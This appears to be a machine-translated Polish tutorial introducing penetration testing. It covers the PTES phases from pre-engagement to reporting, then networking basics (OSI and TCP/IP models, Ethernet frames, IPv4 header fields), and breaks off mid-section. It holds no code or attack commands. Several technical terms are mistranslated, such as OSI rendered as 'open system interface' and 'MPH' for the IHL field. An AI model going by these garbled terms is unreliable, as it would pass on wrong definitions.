Testy penetracyjne Pythona - szybki przewodnik

Test penetracyjny lub test penetracyjny można zdefiniować jako próbę oceny bezpieczeństwa infrastruktury IT poprzez symulację cyberataku na system komputerowy w celu wykorzystania luk w zabezpieczeniach.

Jaka jest różnica między skanowaniem podatności a testami penetracyjnymi? Skanowanie luk w zabezpieczeniach po prostu identyfikuje zauważone luki w zabezpieczeniach, a testy penetracyjne, jak powiedziano wcześniej, są próbą wykorzystania luk. Testy penetracyjne pomagają określić, czy w systemie możliwy jest nieautoryzowany dostęp lub jakakolwiek inna złośliwa aktywność.

Możemy przeprowadzić testy penetracyjne dla serwerów, aplikacji internetowych, sieci bezprzewodowych, urządzeń mobilnych i wszelkich innych potencjalnych punktów narażenia przy użyciu technologii ręcznych lub automatycznych. Ze względu na testy penetracyjne, jeśli wykorzystamy jakiekolwiek luki w zabezpieczeniach, to samo musi zostać przekazane IT i menedżerowi systemu sieciowego, aby dojść do strategicznego wniosku.

Badanie znaczenia penetracji (pióro)

W tej sekcji dowiemy się o znaczeniu testów penetracyjnych. Rozważ następujące punkty, aby dowiedzieć się o znaczeniu -

Bezpieczeństwo organizacji

Znaczenie testów penetracyjnych można zrozumieć z tego punktu, że zapewnia organizacji szczegółową ocenę bezpieczeństwa tej organizacji.

Ochrona poufności organizacji

Za pomocą testów penetracyjnych możemy wykryć potencjalne zagrożenia, zanim napotkamy jakiekolwiek szkody i chronić poufność tej organizacji.

Wdrażanie polityk bezpieczeństwa

Testy penetracyjne mogą zapewnić nam wdrożenie polityki bezpieczeństwa w organizacji.

Zarządzanie wydajnością sieci

Za pomocą testów penetracyjnych można zarządzać wydajnością sieci. Może analizować bezpieczeństwo urządzeń, takich jak zapory ogniowe, routery itp.

Zapewnij bezpieczeństwo organizacji

Załóżmy, że jeśli chcemy wprowadzić jakąkolwiek zmianę w projekcie sieci lub zaktualizować oprogramowanie, sprzęt itp., To testy penetracyjne zapewniają bezpieczeństwo organizacji przed wszelkiego rodzaju podatnościami.

Kto jest dobrym testerem piórkowym?

Testerzy penetracji to specjaliści od oprogramowania, którzy pomagają organizacjom wzmocnić ich ochronę przed cyberatakami poprzez identyfikację luk w zabezpieczeniach. Tester penetracji może używać do testowania technik ręcznych lub zautomatyzowanych narzędzi.

Rozważmy teraz następujące ważne cechy dobrego testera penetracji -

Znajomość sieci i tworzenia aplikacji

Dobry pentester musi mieć wiedzę na temat tworzenia aplikacji, administrowania bazami danych i pracy w sieci, ponieważ będzie on / ona zajmował się ustawieniami konfiguracji, a także kodowaniem.

Wybitny myśliciel

Pentester musi być wybitnym myślicielem i nie zawaha się zastosować różnych narzędzi i metodologii do konkretnego zadania, aby uzyskać najlepsze wyniki.

Znajomość procedury

Dobry pentester musi mieć wiedzę, aby określić zakres każdego testu penetracyjnego, taki jak jego cele, ograniczenia i uzasadnienie procedur.

Nowoczesna technologia

Pentester musi mieć aktualne umiejętności technologiczne, ponieważ w każdej chwili może nastąpić zmiana technologii.

Umiejętny w tworzeniu raportów

Po pomyślnym wdrożeniu testów penetracyjnych, tester piórkowy musi w raporcie końcowym wymienić wszystkie wyniki i potencjalne zagrożenia. Dlatego musi mieć dobre umiejętności tworzenia raportów.

Pasjonat cyberbezpieczeństwa

Osoba z pasją może osiągnąć życiowy sukces. Podobnie, jeśli osoba jest pasjonatem cyberbezpieczeństwa, może zostać dobrym testerem piórkowym.

Zakres testów penetracyjnych

Teraz poznamy zakres testów penetracyjnych. Następujące dwa rodzaje testów mogą definiować zakres testów penetracyjnych -

Badania nieniszczące (NDT)

Testy nieniszczące nie narażają systemu na żadne ryzyko. NDT służy do wyszukiwania usterek, zanim staną się one niebezpieczne, bez uszkodzenia systemu, obiektu itp. Podczas przeprowadzania testów penetracyjnych NDT wykonuje następujące czynności -

Skanowanie zdalnych systemów

Ten test skanuje i identyfikuje zdalny system pod kątem możliwych luk.

Weryfikacja

Po znalezieniu luk przeprowadza również weryfikację wszystkich znalezionych luk.

Właściwe wykorzystanie zdalnego systemu

W NDT tester pióra prawidłowo wykorzystywałby system zdalny. Pomaga to w unikaniu przerw.

Note - Z drugiej strony, podczas przeprowadzania testów penetracyjnych, NDT nie działa Denial-of-Service (DoS) attack.

Niszczące testy

Testowanie niszczące może narazić system na ryzyko. Jest droższy i wymaga więcej umiejętności niż testy nieniszczące. Podczas przeprowadzania testów penetracyjnych, testy niszczące wykonują następujące czynności -

  • Denial-of-Service (DoS) attack - Testowanie niszczące przeprowadza atak DoS.

  • Buffer overflow attack - Wykonuje również atak przepełnienia bufora, który może doprowadzić do awarii systemu.

Co zainstalować do ćwiczeń w testach penetracyjnych?

Techniki i narzędzia testów penetracyjnych powinny być wykonywane tylko w środowiskach, których jesteś właścicielem lub masz pozwolenie na ich uruchamianie. Nigdy nie wolno nam ćwiczyć tych technik w środowiskach, w których nie mamy do tego upoważnienia, ponieważ testy penetracyjne bez pozwolenia są nielegalne.

  • Testy penetracyjne możemy przećwiczyć, instalując pakiet do wirtualizacji VMware Player( www.vmware.com/products/player ) lubOracle VirtualBox -

    www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html

  • Możemy również tworzyć maszyny wirtualne (VM) z aktualnej wersji -

    • Kali Linux ( www.kali.org/downloads/ )

    • Samurai Web Testing Framework (http://samurai.inguardians.com/)

    • Metasploitable ( www.offensivesecurity.com/metasploit-unleashed/Requirements )

W ostatnim czasie zarówno rząd, jak i organizacje prywatne potraktowały cyberbezpieczeństwo jako strategiczny priorytet. Cyberprzestępcy często za pomocą różnych wektorów ataków często uczynili swoje cele z organizacji rządowych i prywatnych. Niestety, z powodu braku skutecznych polityk, standardów i złożoności systemu informacyjnego, cyberprzestępcy mają wiele celów i z powodzeniem wykorzystują system, a także kradną informacje.

Testy penetracyjne to jedna ze strategii, której można użyć w celu ograniczenia ryzyka cyberataków. Powodzenie testów penetracyjnych zależy od skutecznej i spójnej metodologii oceny.

Dysponujemy różnymi metodami oceny związanymi z testami penetracyjnymi. Zaletą stosowania metodologii jest to, że umożliwia ona osobom oceniającym spójną ocenę środowiska. Oto kilka ważnych metodologii -

  • Podręcznik metodologii testowania bezpieczeństwa oprogramowania typu open source (OSSTMM)

  • Open Web Application Security Project (OWASP)

  • Narodowy Instytut Standardów i Technologii (NIST)

  • Standard wykonania testów penetracyjnych (PTES)

Co to jest PTES?

PTES, standard wykonania testów penetracyjnych, jak sama nazwa wskazuje, jest metodologią oceny testów penetracyjnych. Obejmuje wszystko, co wiąże się z testem penetracyjnym. Mamy szereg wytycznych technicznych w PTES, związanych z różnymi środowiskami, z którymi może się spotkać asesor. Jest to największa zaleta korzystania z PTES przez nowych oceniających, ponieważ wytyczne techniczne zawierają sugestie dotyczące uwzględniania i oceny środowiska w ramach standardowych narzędzi branżowych.

W następnej sekcji dowiemy się o różnych fazach PTES.

Siedem faz PTES

Standard wykonania testów penetracyjnych (PTES) składa się z siedmiu faz. Fazy ​​te obejmują wszystko, co jest związane z testem penetracyjnym - od początkowej komunikacji i rozumowania za pentestem, poprzez gromadzenie informacji i fazy modelowania zagrożeń, podczas których testerzy pracują za kulisami. Prowadzi to do lepszego zrozumienia testowanej organizacji poprzez badanie podatności, eksploatację i poeksploatację. Tutaj wiedza techniczna testerów w zakresie bezpieczeństwa jest krytycznie połączona z biznesowym zrozumieniem zadania, a wreszcie z raportowaniem, które obejmuje cały proces w sposób, który ma sens dla klienta i zapewnia mu największą wartość.

O siedmiu fazach PTES dowiemy się w kolejnych rozdziałach -

Faza interakcji przed zaangażowaniem

To pierwsza i bardzo ważna faza PTES. Głównym celem tej fazy jest wyjaśnienie dostępnych narzędzi i technik, które pomagają w pomyślnym etapie testu penetracyjnego przed zaangażowaniem. Każdy błąd podczas wdrażania tej fazy może mieć znaczący wpływ na pozostałą część oceny. Ta faza obejmuje następujące -

Prośba o ocenę

Pierwszą częścią, od której zaczyna się ta faza, jest stworzenie wniosku o ocenę przez organizację. ZARequest for Proposal (RFP) asesorom dostarczany jest dokument zawierający szczegółowe informacje o środowisku, rodzaju wymaganej oceny i oczekiwaniach organizacji.

Licytacja

Teraz, w oparciu o RFP złożą ofertę, wiele firm oceniających lub pojedyncze korporacje z ograniczoną odpowiedzialnością (LLC) będzie licytować, a strona, której oferta jest zgodna z żądaną pracą, ceną i innymi określonymi parametrami, wygra.

Podpisanie listu intencyjnego (EL)

Teraz organizacja i strona, która wygrała przetarg, podpiszą umowę o pracę (EL). List będzie miał rozszerzeniestatement of work (SOW) i produkt końcowy.

Spotkanie dotyczące zakresu

Po podpisaniu EL można rozpocząć dostrajanie lunety. Takie spotkania pomagają organizacji i partii w dopracowaniu określonego zakresu. Głównym celem spotkania określającego zakres jest omówienie tego, co będzie testowane.

Obsługa pełzania zakresu

Pełzanie zakresu to coś, w przypadku którego klient może próbować dodać lub rozszerzyć obiecany poziom pracy, aby uzyskać więcej, niż obiecał zapłacić. Dlatego ze względu na czas i zasoby należy dokładnie rozważyć modyfikacje pierwotnego zakresu. Należy go również wypełnić w udokumentowanej formie, takiej jak e-mail, podpisany dokument lub upoważniony list itp.

Kwestionariusze

Podczas wstępnej komunikacji z klientem pojawia się kilka pytań, na które klient będzie musiał odpowiedzieć, aby właściwie oszacować zakres zlecenia. Te pytania mają na celu zapewnienie lepszego zrozumienia tego, czego klient chce zyskać w teście penetracyjnym; dlaczego klient chce wykonać test penetracyjny w swoim środowisku; oraz czy chcą, aby określone typy testów były wykonywane podczas testu penetracji.

Sposób przeprowadzenia testu

Ostatnią częścią fazy przed zaangażowaniem jest podjęcie decyzji o procedurze przeprowadzenia testu. Do wyboru są różne strategie testowania, takie jak biała skrzynka, czarna skrzynka, szara skrzynka, podwójnie ślepa próba.

Poniżej znajduje się kilka przykładów ocen, o które można poprosić -

  • Test penetracji sieci
  • Test penetracyjny aplikacji internetowych
  • Test penetracji sieci bezprzewodowej
  • Fizyczny test penetracji
  • Inżynieria społeczna
  • Phishing
  • Voice over Internet Protocol (VOIP)
  • Wewnętrzna sieć
  • Sieć zewnętrzna

Faza zbierania informacji

Zbieranie danych wywiadowczych, druga faza PTES, polega na przeprowadzaniu wstępnych pomiarów względem celu, aby zebrać jak najwięcej informacji do wykorzystania podczas penetracji celu podczas oceny podatności i faz eksploatacji. Pomaga organizacjom w określaniu narażenia zewnętrznego przez zespół oceniający. Gromadzenie informacji możemy podzielić na trzy poziomy -

Gromadzenie informacji na poziomie 1

Zautomatyzowane narzędzia mogą prawie całkowicie uzyskać ten poziom informacji. Wysiłek związany z gromadzeniem informacji na poziomie 1 powinien być odpowiedni do spełnienia wymogu zgodności.

Gromadzenie informacji na poziomie 2

Ten poziom informacji można uzyskać za pomocą zautomatyzowanych narzędzi z poziomu 1 wraz z pewną ręczną analizą. Ten poziom wymaga dobrego zrozumienia działalności, w tym informacji, takich jak lokalizacja fizyczna, relacje biznesowe, schemat organizacyjny itp. Wysiłki związane z gromadzeniem informacji na poziomie 2 powinny być odpowiednie, aby spełnić wymóg zgodności, a także inne potrzeby, takie jak długoterminowa strategia bezpieczeństwa, pozyskiwanie mniejszych producentów itp.

Gromadzenie informacji na poziomie 3

Ten poziom zbierania informacji jest używany w najbardziej zaawansowanych testach penetracyjnych. Wszystkie informacje z poziomu 1 i 2 wraz z dużą ilością ręcznych analiz są wymagane do zbierania informacji na poziomie 3.

Faza modelowania zagrożeń

To już trzecia faza PTES. Podejście do modelowania zagrożeń jest wymagane do prawidłowego wykonania testów penetracyjnych. Modelowanie zagrożeń można wykorzystać jako część testu penetracyjnego lub napotkać w oparciu o szereg czynników. W przypadku, gdy używamy modelowania zagrożeń jako części testu penetracyjnego, informacje zebrane w drugiej fazie zostaną cofnięte do pierwszej fazy.

Kolejne kroki stanowią fazę modelowania zagrożeń -

  • Zbierz niezbędne i istotne informacje.

  • Musisz zidentyfikować i sklasyfikować podstawowe i dodatkowe zasoby.

  • Potrzeba identyfikacji i kategoryzacji zagrożeń i społeczności zagrożeń.

  • Potrzeba mapowania społeczności zagrożeń na podstawie zasobów podstawowych i drugorzędnych

Społeczności i agenci zagrożeń

Poniższa tabela zawiera listę odpowiednich społeczności zagrożeń i agentów wraz z ich lokalizacją w organizacji -

Lokalizacja Wewnętrzny Zewnętrzny
Threat agents/communities Pracowników Partnerzy biznesowi
Osoby zarządzające wykonawcy
Administratorzy (sieć, system) Konkurenci
Inżynierowie Dostawcy
Technicy Państwa narodowe
Ogólna społeczność użytkowników Hakerzy

Dokonując oceny modelowania zagrożeń, musimy pamiętać, że lokalizacja zagrożeń może mieć charakter wewnętrzny. Wystarczy jeden e-mail phishingowy lub jeden zirytowany pracownik, który stawia na szali bezpieczeństwo organizacji poprzez rozpowszechnianie poświadczeń.

Faza analizy podatności

To czwarta faza PTES, w której osoba oceniająca określi możliwe cele do dalszych testów. W pierwszych trzech fazach PTES wydobyto tylko szczegóły dotyczące organizacji, a osoba oceniająca nie poruszyła żadnych zasobów do testowania. Jest to najbardziej czasochłonna faza PTES.

Poniższe etapy składają się na analizę podatności -

Testowanie podatności

Można go zdefiniować jako proces wykrywania błędów, takich jak błędna konfiguracja i niezabezpieczone projekty aplikacji w systemach oraz aplikacjach hosta i usług. Tester musi odpowiednio określić zakres testów i pożądany wynik przed przeprowadzeniem analizy podatności. Testy podatności mogą być następujących typów:

  • Aktywne testy
  • Testowanie pasywne

Omówimy szczegółowo te dwa typy w naszych kolejnych sekcjach.

Aktywne testy

Obejmuje bezpośrednią interakcję z testowanym komponentem pod kątem luk w zabezpieczeniach. Komponenty mogą być na niskim poziomie, na przykład stos TCP na urządzeniu sieciowym, lub na wysokim poziomie, na przykład w interfejsie internetowym. Aktywne testy można przeprowadzić na dwa sposoby -

Zautomatyzowane aktywne testowanie

Wykorzystuje oprogramowanie do interakcji z celem, badania odpowiedzi i określania na podstawie tych odpowiedzi, czy luka w komponencie jest obecna, czy nie. Znaczenie automatycznego testowania aktywnego w porównaniu z ręcznym testowaniem aktywnym można uświadomić sobie z faktu, że jeśli w systemie są tysiące portów TCP i musimy połączyć je wszystkie ręcznie w celu przetestowania, zajęłoby to znacznie dużo czasu. Jednak robienie tego za pomocą zautomatyzowanych narzędzi może zmniejszyć wiele czasu i pracy. Skanowanie pod kątem luk w zabezpieczeniach sieci, skanowanie portów, przechwytywanie banerów, skanowanie aplikacji internetowych można przeprowadzić za pomocą zautomatyzowanych narzędzi do aktywnego testowania.

Ręczne aktywne testowanie

Ręczne testowanie efektywne jest bardziej efektywne w porównaniu do automatycznego testowania aktywnego. Margines błędu zawsze istnieje w przypadku zautomatyzowanego procesu lub technologii. Dlatego zawsze zaleca się ręczne wykonywanie bezpośrednich połączeń z każdym protokołem lub usługą dostępną w systemie docelowym w celu sprawdzenia wyniku testów automatycznych.

Testowanie pasywne

Testowanie pasywne nie obejmuje bezpośredniej interakcji z komponentem. Można go wdrożyć za pomocą dwóch następujących technik -

Analiza metadanych

Ta technika polega na spojrzeniu na dane opisujące plik, a nie na dane samego pliku. Na przykład plik MS Word zawiera metadane dotyczące nazwiska autora, nazwy firmy, daty i godziny ostatniej modyfikacji i zapisania dokumentu. Wystąpiłby problem z bezpieczeństwem, gdyby osoba atakująca mogła uzyskać pasywny dostęp do metadanych.

Monitorowanie ruchu

Można to zdefiniować jako technikę łączenia się z siecią wewnętrzną i przechwytywania danych do analizy offline. Służy głównie do przechwytywania“leaking of data” do sieci komutowanej.

Uprawomocnienie

Po przeprowadzeniu testów podatności weryfikacja wyników jest bardzo konieczna. Można to zrobić za pomocą następujących technik -

Korelacja między narzędziami

Jeśli osoba oceniająca przeprowadza testy podatności za pomocą wielu zautomatyzowanych narzędzi, wówczas w celu walidacji wyników bardzo niezbędna jest korelacja między tymi narzędziami. Wyniki mogą się skomplikować, jeśli nie ma takiego rodzaju korelacji między narzędziami. Można go podzielić na określone korelacje pozycji i kategoryczne korelacje pozycji.

Walidacja specyficzna dla protokołu

Walidację można również przeprowadzić za pomocą protokołów. Do weryfikacji wyników można użyć VPN, Citrix, DNS, WWW, serwera poczty.

Badania

Po znalezieniu i walidacji podatności w systemie konieczne jest określenie dokładności identyfikacji problemu oraz zbadanie możliwości wykorzystania luki w ramach testu penetracyjnego. Badania można prowadzić publicznie lub prywatnie. Przeprowadzając publiczne badania, można wykorzystać bazę danych luk i porady dostawców, aby zweryfikować dokładność zgłoszonego problemu. Z drugiej strony, podczas prywatnych badań, można ustawić środowisko repliki i zastosować techniki, takie jak fuzzing lub konfiguracje testowe, aby zweryfikować dokładność zgłoszonego problemu.

Faza eksploatacji

To już piąta faza PTES. Ta faza skupia się na uzyskaniu dostępu do systemu lub zasobu poprzez ominięcie ograniczeń bezpieczeństwa. W tej fazie cała praca wykonana w poprzednich fazach prowadzi do uzyskania dostępu do systemu. Istnieje kilka wspólnych terminów używanych do uzyskiwania dostępu do systemu -

  • Popped
  • Shelled
  • Cracked
  • Exploited

Logowanie do systemu w fazie eksploatacji może odbywać się za pomocą kodu, zdalnego exploita, utworzenia exploita, ominięcia programu antywirusowego lub może być tak proste, jak logowanie za pomocą słabych danych uwierzytelniających. Po uzyskaniu dostępu, tj. Po zidentyfikowaniu głównego punktu wejścia, rzeczoznawca musi skupić się na identyfikacji aktywów docelowych o wysokiej wartości. Jeśli faza analizy podatności została prawidłowo zakończona, należało wykonać listę celów o wysokiej wartości. Ostatecznie wektor ataku powinien uwzględniać prawdopodobieństwo sukcesu i największy wpływ na organizację.

Faza poeksploatacyjna

To już szósta faza PTES. Asesor podejmuje na tym etapie następujące czynności -

Analiza infrastruktury

W tej fazie przeprowadzana jest analiza całej infrastruktury używanej podczas testów penetracyjnych. Na przykład analizę sieci lub konfiguracji sieci można przeprowadzić za pomocą interfejsów, routingu, serwerów DNS, buforowanych wpisów DNS, serwerów proxy itp.

Plądrowanie

Można to zdefiniować jako uzyskiwanie informacji od docelowych hostów. Informacje te są istotne dla celów określonych na etapie oceny wstępnej. Informacje te można uzyskać z zainstalowanych programów, określonych serwerów, takich jak serwery baz danych, drukarki itp. W systemie.

Eksfiltracja danych

W ramach tego działania osoba oceniająca jest zobowiązana do mapowania i testowania wszystkich możliwych ścieżek eksfiltracji, tak aby można było przeprowadzić pomiary siły kontrolnej, tj. Wykrywać i blokować poufne informacje z organizacji.

Tworzenie wytrwałości

Czynność ta obejmuje instalację backdoora wymagającego uwierzytelnienia, ponowne uruchomienie backdoora, gdy jest to wymagane, oraz utworzenie alternatywnych kont ze złożonymi hasłami.

Sprzątać

Jak sama nazwa wskazuje, proces ten obejmuje wymagania dotyczące czyszczenia systemu po zakończeniu testu penetracyjnego. Ta czynność obejmuje przywrócenie pierwotnych wartości ustawień systemowych, parametrów konfiguracyjnych aplikacji oraz usunięcie wszystkich zainstalowanych backdoorów i wszelkich utworzonych kont użytkowników.

Raportowanie

To ostatnia i najważniejsza faza PTES. Tutaj klient płaci na podstawie raportu końcowego po zakończeniu testu penetracyjnego. Raport jest w zasadzie odzwierciedleniem ustaleń dokonanych przez osobę oceniającą na temat systemu. Oto najważniejsze części dobrego raportu:

Streszczenie dla kierownictwa

Jest to raport, który przekazuje czytelnikowi szczegółowe informacje o celach testu penetracyjnego i ogólnych wynikach ćwiczeń testowych. Docelowym odbiorcą może być członek komitetu doradczego głównego gabinetu.

Fabuła

Raport musi zawierać fabułę, która wyjaśnia, co zostało zrobione podczas zlecenia, rzeczywiste ustalenia lub słabe punkty bezpieczeństwa oraz pozytywne kontrole, które organizacja ustanowiła.

Dowód koncepcji / raport techniczny

Dowód koncepcji lub raport techniczny musi zawierać szczegóły techniczne testu i wszystkie uzgodnione aspekty / komponenty jako kluczowe wskaźniki sukcesu w ćwiczeniu przed zaangażowaniem. W sekcji raportu technicznego szczegółowo opisano zakres, informacje, ścieżkę ataku, wpływ i sugestie naprawcze testu.

Zawsze słyszeliśmy, że aby przeprowadzić testy penetracyjne, pentester musi być świadomy podstawowych pojęć sieciowych, takich jak adresy IP, klasowe podsieci, bezklasowe podsieci, porty i sieci rozgłoszeniowe. Pierwszym powodem jest to, że czynności, takie jak to, którzy hosty działają w zatwierdzonym zakresie i jakie usługi, porty i funkcje mają otwarte i responsywne, określą, jakie czynności asesor będzie wykonywał w testach penetracyjnych. Środowisko ciągle się zmienia, a systemy są często przenoszone. Dlatego jest całkiem możliwe, że stare luki mogą pojawić się ponownie i bez dobrej wiedzy na temat skanowania sieci może się zdarzyć, że wstępne skanowanie będzie musiało zostać powtórzone. W kolejnych sekcjach omówimy podstawy komunikacji sieciowej.

Model referencyjny

Model referencyjny oferuje sposób standaryzacji, który jest akceptowany na całym świecie, ponieważ ludzie korzystający z sieci komputerowej znajdują się w szerokim zakresie fizycznym, a ich urządzenia sieciowe mogą mieć heterogeniczną architekturę. Aby zapewnić komunikację między heterogenicznymi urządzeniami, potrzebujemy ustandaryzowanego modelu, czyli modelu referencyjnego, który zapewni nam sposób, w jaki te urządzenia mogą się komunikować.

Mamy dwa modele referencyjne, takie jak model OSI i model referencyjny TCP / IP. Jednak model OSI jest modelem hipotetycznym, ale TCP / IP jest modelem praktycznym.

Model OSI

Otwarty interfejs systemu został zaprojektowany przez Międzynarodową Organizację Normalizacyjną (ISO) i dlatego jest również nazywany modelem ISO-OSI.

Model OSI składa się z siedmiu warstw, jak pokazano na poniższym diagramie. Każda warstwa ma określoną funkcję, jednak każda warstwa świadczy usługi warstwie powyżej.

Warstwa fizyczna

Warstwa fizyczna jest odpowiedzialna za następujące działania -

  • Aktywacja, utrzymanie i dezaktywacja fizycznego połączenia.

  • Definiowanie napięć i szybkości transmisji danych potrzebnych do transmisji.

  • Przetwarzanie bitów cyfrowych na sygnał elektryczny.

  • Decydowanie, czy połączenie jest simplex, half-duplex czy full-duplex.

Warstwa łącza danych

Warstwa łącza danych spełnia następujące funkcje -

  • Wykonuje synchronizację i kontrolę błędów dla informacji, które mają być przesyłane przez łącze fizyczne.

  • Umożliwia wykrywanie błędów i dodaje bity wykrywania błędów do przesyłanych danych.

Warstwa sieci

Warstwa sieciowa pełni następujące funkcje -

  • Aby skierować sygnały różnymi kanałami na drugi koniec.

  • Aby działać jako kontroler sieci, decydując, jaką trasę mają obrać dane.

  • Dzielenie wychodzących wiadomości na pakiety i łączenie przychodzących pakietów w wiadomości na wyższych poziomach.

Warstwa transportowa

Warstwa transportowa spełnia następujące funkcje -

  • Decyduje, czy transmisja danych ma odbywać się ścieżkami równoległymi czy pojedynczą.

  • Wykonuje multipleksowanie, dzielenie danych.

  • Dzieli grupy danych na mniejsze jednostki, dzięki czemu są one wydajniej obsługiwane przez warstwę sieciową.

Warstwa transportowa gwarantuje transmisję danych z jednego końca do drugiego.

Warstwa sesji

Warstwa sesji spełnia następujące funkcje -

  • Zarządza wiadomościami i synchronizuje konwersacje między dwiema różnymi aplikacjami.

  • Kontroluje logowanie i wylogowywanie, identyfikację użytkowników, rozliczenia i zarządzanie sesjami.

Warstwa prezentacji

Warstwa prezentacji spełnia następujące funkcje -

  • Warstwa ta zapewnia, że ​​informacje są dostarczane w takiej formie, aby system odbierający je zrozumiał i wykorzystał.

Warstwa aplikacji

Warstwa aplikacji spełnia następujące funkcje -

  • Zapewnia różne usługi, takie jak manipulowanie informacjami na kilka sposobów, ponowne przesyłanie plików z informacjami, rozpowszechnianie wyników itp.

  • Funkcje takie jak LOGIN czy sprawdzanie hasła są również wykonywane przez warstwę aplikacji.

Model TCP / IP

Model protokołu kontroli transmisji i protokołu internetowego (TCP / IP) jest modelem praktycznym i jest używany w Internecie.

Model TCP / IP łączy dwie warstwy (warstwę fizyczną i warstwę łącza danych) w jedną warstwę - warstwę host-sieć. Poniższy diagram przedstawia różne warstwy modelu TCP / IP -

Warstwa aplikacji

Ta warstwa jest taka sama jak w modelu OSI i spełnia następujące funkcje -

  • Zapewnia różne usługi, takie jak manipulowanie informacjami na kilka sposobów, ponowne przesyłanie plików z informacjami, rozpowszechnianie wyników itp.

  • Warstwa aplikacji pełni również funkcje takie jak LOGIN czy sprawdzanie hasła.

  • Poniżej przedstawiono różne protokoły używane w warstwie aplikacji -

    • TELNET
    • FTP
    • SMTP
    • DN
    • HTTP
    • NNTP

Warstwa transportowa

Wykonuje te same funkcje, co warstwa transportowa w modelu OSI. Rozważ następujące ważne punkty związane z warstwą transportową -

  • Wykorzystuje protokoły TCP i UDP do transmisji od końca do końca.

  • TCP to niezawodny i zorientowany na połączenie protokół.

  • TCP obsługuje również kontrolę przepływu.

  • Protokół UDP nie jest niezawodny, a protokół bez połączenia nie wykonuje kontroli przepływu.

  • W tej warstwie wykorzystywane są protokoły TCP / IP i UDP.

Warstwa internetowa

Zadaniem tej warstwy jest umożliwienie hostowi wstawiania pakietów do sieci, a następnie samodzielnego przemieszczania się do miejsca docelowego. Jednak kolejność otrzymywania pakietów może różnić się od kolejności ich wysłania.

Protokół internetowy (IP) jest używany w warstwie internetowej.

Warstwa host-sieć

To najniższa warstwa w modelu TCP / IP. Host musi łączyć się z siecią przy użyciu jakiegoś protokołu, aby mógł przesyłać przez nią pakiety IP. Ten protokół różni się w zależności od hosta i sieci.

Różne protokoły używane w tej warstwie to -

  • ARPANET
  • SATNET
  • LAN
  • Pakiet radiowy

Przydatna architektura

Poniżej przedstawiono kilka przydatnych architektur, które są używane w komunikacji sieciowej -

Architektura ramek Ethernet

Inżynier Robert Metcalfe jako pierwszy wynalazł sieć Ethernet, zdefiniowaną w standardzie IEEE 802.3, w 1973 roku. Po raz pierwszy została ona użyta do łączenia i przesyłania danych między stacją roboczą a drukarką. Ponad 80% sieci LAN wykorzystuje standard Ethernet ze względu na szybkość, niższy koszt i łatwość instalacji. Z drugiej strony, jeśli mówimy o ramce, dane są przesyłane od hosta do hosta. Ramka składa się z różnych elementów, takich jak adres MAC, nagłówek IP, ogranicznik początku i końca itp.

Ramka Ethernet zaczyna się od preambuły i SFD. Nagłówek Ethernet zawiera zarówno źródłowy, jak i docelowy adres MAC, po którym występuje ładunek ramki. Ostatnim polem jest CRC, które służy do wykrywania błędu. Podstawowa struktura ramki Ethernet jest zdefiniowana w standardzie IEEE 802.3, który wyjaśniono poniżej -

Format ramki Ethernet (IEEE 802.3)

Pakiet Ethernet przenosi ramkę Ethernet jako swój ładunek. Poniżej przedstawiono graficzną reprezentację ramki Ethernet wraz z opisem każdego pola -

Nazwa pola Preambuła SFD (początek ogranicznika ramki) Docelowy adres MAC Źródłowy adres MAC Rodzaj Dane CRC
Rozmiar (w bajtach) 7 1 6 6 2 46-1500 4

Preambuła

Ramka Ethernet jest poprzedzona preambułą o rozmiarze 7 bajtów, która informuje system odbierający, że ramka rozpoczyna się i umożliwia nadawcy i odbiorcy ustanowienie synchronizacji bitowej.

SFD (początek ogranicznika ramki)

Jest to 1-bajtowe pole używane do oznaczenia, że ​​pole Docelowy adres MAC zaczyna się od następnego bajtu. Czasami pole SFD jest uważane za część Preambuły. Dlatego w wielu miejscach preambuła jest uważana za 8 bajtów.

  • Destination MAC - To jest 6-bajtowe pole, w którym mamy adres systemu odbierającego.

  • Source MAC - To jest 6-bajtowe pole, w którym mamy adres systemu wysyłającego.

  • Type- Określa rodzaj protokołu wewnątrz ramki. Na przykład IPv4 lub IPv6. Jego rozmiar to 2 bajty.

  • Data- Nazywa się to również ładunkiem i tutaj wstawiane są rzeczywiste dane. Jego długość musi wynosić od 46 do 1500 bajtów. Jeśli długość jest mniejsza niż 46 bajtów, wówczas dodawane jest wypełnienie 0, aby osiągnąć minimalną możliwą długość, tj. 46.

  • CRC (Cyclic Redundancy Check) - Jest to 4-bajtowe pole zawierające 32-bitowe CRC, które umożliwia wykrycie uszkodzonych danych.

Format rozszerzonej ramki Ethernet (ramka Ethernet II)

Poniżej znajduje się graficzna reprezentacja rozszerzonej ramki Ethernet, za pomocą której możemy uzyskać ładunek większy niż 1500 bajtów -

Nazwa pola Docelowy adres MAC Źródłowy adres MAC Rodzaj DSAP SSAP Ctrl Dane CRC
Rozmiar (w bajtach) 6 6 2 1 1 1 > 46 4

Opis pól, które różnią się od ramki Ethernet IEEE 802.3, jest następujący:

DSAP (punkt dostępu do usługi docelowej)

DSAP to 1-bajtowe pole, które reprezentuje adresy logiczne jednostki warstwy sieciowej, która ma odebrać wiadomość.

SSAP (punkt dostępu do usługi źródłowej)

SSAP to jednobajtowe pole, które reprezentuje adres logiczny jednostki warstwy sieciowej, która utworzyła wiadomość.

Ctrl

To jest 1-bajtowe pole kontrolne.

Architektura pakietów IP

Protokół internetowy jest jednym z głównych protokołów w zestawie protokołów TCP / IP. Protokół ten działa w warstwie sieciowej modelu OSI oraz w warstwie internetowej modelu TCP / IP. W związku z tym protokół ten jest odpowiedzialny za identyfikację hostów na podstawie ich adresów logicznych i kierowanie danych między nimi w podstawowej sieci. Protokół IP zapewnia mechanizm unikalnej identyfikacji hostów według schematu adresowania IP. Protokół IP wykorzystuje dostarczanie z najlepszymi staraniami, tj. Nie gwarantuje, że pakiety zostaną dostarczone do docelowego hosta, ale zrobi wszystko, co w jego mocy, aby dotrzeć do celu.

W kolejnych sekcjach dowiemy się o dwóch różnych wersjach protokołu IP.

IPv4

To jest protokół internetowy w wersji 4, który używa 32-bitowego adresu logicznego. Poniżej znajduje się schemat nagłówka IPv4 wraz z opisem pól -

Wersja

To jest wersja używanego protokołu internetowego; na przykład IPv4.

MPH

Długość nagłówka internetowego; długość całego nagłówka IP.

DSCP

Punkt kodowy usług zróżnicowanych; to jest typ usługi.

ECN

Jawne powiadomienie o zatorach; zawiera informacje o zatorach widocznych na trasie.

Długość całkowita

Długość całego pakietu IP (w tym nagłówek IP i ładunek IP).

Identyfikacja

Jeśli pakiet IP jest pofragmentowany podczas transmisji, wszystkie fragmenty zawierają ten sam numer identyfikacyjny.

Flagi

